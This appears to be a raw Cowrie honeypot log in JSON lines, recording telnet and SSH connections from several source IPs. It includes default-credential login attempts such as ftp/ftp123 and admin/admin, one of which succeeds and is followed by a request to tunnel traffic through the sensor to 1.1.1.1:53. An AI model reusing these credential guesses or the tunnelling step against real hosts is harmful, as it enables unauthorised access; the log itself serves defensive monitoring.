{"eventid":"cowrie.session.closed","duration":44.38805532455444,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:06.713462Z","src_ip":"45.58.127.90","session":"7d279a63de8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e44b6bc3fc5","protocol":"telnet","message":"New connection: 147.182.143.59:51696 (159.203.135.109:23) [session: 5e44b6bc3fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:16.216697Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59912,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e398ab8834","protocol":"telnet","message":"New connection: 45.58.127.90:59912 (10.17.0.5:23) [session: b3e398ab8834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:17.404813Z"}
{"eventid":"cowrie.session.closed","duration":11.325647830963135,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:27.542032Z","src_ip":"147.182.143.59","session":"5e44b6bc3fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49338,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f64faa4d29","protocol":"telnet","message":"New connection: 147.182.143.59:49338 (159.203.135.109:23) [session: 25f64faa4d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:31.960807Z"}
{"eventid":"cowrie.session.closed","duration":39.715548276901245,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:33.685608Z","src_ip":"45.58.127.90","session":"44607b42396d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50066,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3d854d5d0d","protocol":"telnet","message":"New connection: 45.58.127.90:50066 (10.17.0.5:23) [session: 3f3d854d5d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:33.941844Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":48866,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f97c2845cd2","protocol":"ssh","message":"New connection: 47.239.15.75:48866 (159.203.135.109:22) [session: 5f97c2845cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:35.744235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:31:40.164081Z","src_ip":"47.239.15.75","session":"5f97c2845cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.868316888809204,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:01.273022Z","src_ip":"45.58.127.90","session":"b3e398ab8834","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:04.624007Z","src_ip":"47.239.15.75","session":"5f97c2845cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:06.869646Z","src_ip":"47.239.15.75","session":"5f97c2845cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.8","message":"Connection lost after 32.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:08.572843Z","src_ip":"47.239.15.75","session":"5f97c2845cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43228,"dst_ip":"10.17.0.5","dst_port":23,"session":"91050da16d8f","protocol":"telnet","message":"New connection: 45.58.127.90:43228 (10.17.0.5:23) [session: 91050da16d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:08.754124Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52190,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e09ec469934","protocol":"telnet","message":"New connection: 147.182.143.59:52190 (159.203.135.109:23) [session: 3e09ec469934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:09.296966Z"}
{"eventid":"cowrie.session.closed","duration":0.8146722316741943,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:09.568705Z","src_ip":"45.58.127.90","session":"91050da16d8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.05792307853699,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:13.999627Z","src_ip":"45.58.127.90","session":"3f3d854d5d0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.809633493423462,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:15.106475Z","src_ip":"147.182.143.59","session":"3e09ec469934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42124,"dst_ip":"10.17.0.5","dst_port":23,"session":"96cacc19d30d","protocol":"telnet","message":"New connection: 45.58.127.90:42124 (10.17.0.5:23) [session: 96cacc19d30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:21.141249Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42136,"dst_ip":"10.17.0.5","dst_port":23,"session":"b103829f9994","protocol":"telnet","message":"New connection: 45.58.127.90:42136 (10.17.0.5:23) [session: b103829f9994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:22.625526Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42120,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1dbd310912a","protocol":"telnet","message":"New connection: 45.58.127.90:42120 (10.17.0.5:23) [session: f1dbd310912a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:22.742634Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37206,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9a5a0b52a8c","protocol":"telnet","message":"New connection: 147.182.143.59:37206 (159.203.135.109:23) [session: b9a5a0b52a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:26.807300Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":60558,"dst_ip":"159.203.135.109","dst_port":22,"session":"111aa60df1b9","protocol":"ssh","message":"New connection: 47.239.15.75:60558 (159.203.135.109:22) [session: 111aa60df1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:30.698410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:30.703541Z","src_ip":"47.239.15.75","session":"111aa60df1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:31.537211Z","src_ip":"47.239.15.75","session":"111aa60df1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.78514504432678,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:38.745824Z","src_ip":"147.182.143.59","session":"25f64faa4d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.618080854415894,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:39.425243Z","src_ip":"147.182.143.59","session":"b9a5a0b52a8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33776,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e3516c48a72","protocol":"telnet","message":"New connection: 45.58.127.90:33776 (10.17.0.5:23) [session: 2e3516c48a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:45.003002Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36146,"dst_ip":"159.203.135.109","dst_port":23,"session":"23bb0d4c73b6","protocol":"telnet","message":"New connection: 147.182.143.59:36146 (159.203.135.109:23) [session: 23bb0d4c73b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:32:51.664737Z"}
{"eventid":"cowrie.session.closed","duration":38.08920240402222,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:00.831706Z","src_ip":"45.58.127.90","session":"f1dbd310912a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.80969572067261,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:02.950817Z","src_ip":"45.58.127.90","session":"96cacc19d30d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.55732488632202,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:03.182747Z","src_ip":"45.58.127.90","session":"b103829f9994","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.35396385192871,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:08.018619Z","src_ip":"147.182.143.59","session":"23bb0d4c73b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59904,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5137d5fc1e9","protocol":"telnet","message":"New connection: 147.182.143.59:59904 (159.203.135.109:23) [session: d5137d5fc1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:15.883138Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.26.252.153","src_port":45156,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff18b1217a8e","protocol":"telnet","message":"New connection: 2.26.252.153:45156 (10.17.0.5:23) [session: ff18b1217a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:21.112851Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:22.121101Z","src_ip":"47.239.15.75","session":"111aa60df1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"52.7","message":"Connection lost after 52.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:23.381356Z","src_ip":"47.239.15.75","session":"111aa60df1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.3051252365112305,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:25.417855Z","src_ip":"2.26.252.153","session":"ff18b1217a8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.31445574760437,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:26.317335Z","src_ip":"45.58.127.90","session":"2e3516c48a72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.463199377059937,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:27.346200Z","src_ip":"147.182.143.59","session":"d5137d5fc1e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36952,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4891037246f","protocol":"telnet","message":"New connection: 147.182.143.59:36952 (159.203.135.109:23) [session: b4891037246f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:30.420127Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36960,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1daf6e44796","protocol":"telnet","message":"New connection: 147.182.143.59:36960 (159.203.135.109:23) [session: b1daf6e44796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:32.098220Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40600,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ff7dff03af","protocol":"telnet","message":"New connection: 45.58.127.90:40600 (10.17.0.5:23) [session: a6ff7dff03af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:32.118693Z"}
{"eventid":"cowrie.session.closed","duration":10.15230107307434,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:42.250393Z","src_ip":"147.182.143.59","session":"b1daf6e44796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56998,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6ce700248fd","protocol":"telnet","message":"New connection: 147.182.143.59:56998 (159.203.135.109:23) [session: a6ce700248fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:43.079902Z"}
{"eventid":"cowrie.session.closed","duration":14.538207769393921,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:44.958205Z","src_ip":"147.182.143.59","session":"b4891037246f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.494244575500488,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:33:54.574023Z","src_ip":"147.182.143.59","session":"a6ce700248fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":52170,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb131f755c81","protocol":"telnet","message":"New connection: 147.182.143.59:52170 (159.203.135.109:23) [session: cb131f755c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:01.457265Z"}
{"eventid":"cowrie.session.closed","duration":34.84231686592102,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:06.960861Z","src_ip":"45.58.127.90","session":"a6ff7dff03af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.983684301376343,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:13.440795Z","src_ip":"147.182.143.59","session":"cb131f755c81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42694,"dst_ip":"10.17.0.5","dst_port":23,"session":"b785849bdaa5","protocol":"telnet","message":"New connection: 45.58.127.90:42694 (10.17.0.5:23) [session: b785849bdaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:14.399146Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42708,"dst_ip":"10.17.0.5","dst_port":23,"session":"634327e39a22","protocol":"telnet","message":"New connection: 45.58.127.90:42708 (10.17.0.5:23) [session: 634327e39a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:17.654253Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33216,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ca2a9b8e91","protocol":"telnet","message":"New connection: 45.58.127.90:33216 (10.17.0.5:23) [session: f5ca2a9b8e91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:20.011927Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41744,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7e9d425accb","protocol":"telnet","message":"New connection: 147.182.143.59:41744 (159.203.135.109:23) [session: c7e9d425accb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:34.006860Z"}
{"eventid":"cowrie.session.closed","duration":15.19915509223938,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:49.205914Z","src_ip":"147.182.143.59","session":"c7e9d425accb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34010,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad370bef740d","protocol":"telnet","message":"New connection: 45.58.127.90:34010 (10.17.0.5:23) [session: ad370bef740d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:49.911142Z"}
{"eventid":"cowrie.session.closed","duration":34.85599160194397,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:54.867801Z","src_ip":"45.58.127.90","session":"f5ca2a9b8e91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.22441744804382,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:34:58.623447Z","src_ip":"45.58.127.90","session":"b785849bdaa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.96295881271362,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:00.617120Z","src_ip":"45.58.127.90","session":"634327e39a22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.81622862815857,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:33.727252Z","src_ip":"45.58.127.90","session":"ad370bef740d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60008,"dst_ip":"10.17.0.5","dst_port":23,"session":"61776edeb55c","protocol":"telnet","message":"New connection: 45.58.127.90:60008 (10.17.0.5:23) [session: 61776edeb55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:34.577386Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50488,"dst_ip":"10.17.0.5","dst_port":22,"session":"296b2032d440","protocol":"ssh","message":"New connection: 87.251.64.176:50488 (10.17.0.5:22) [session: 296b2032d440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:47.059962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:47.065470Z","src_ip":"87.251.64.176","session":"296b2032d440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:47.162501Z","src_ip":"87.251.64.176","session":"296b2032d440","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:47.453470Z","src_ip":"87.251.64.176","session":"296b2032d440","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:35:47.553039Z","session":"296b2032d440","protocol":"ssh"}
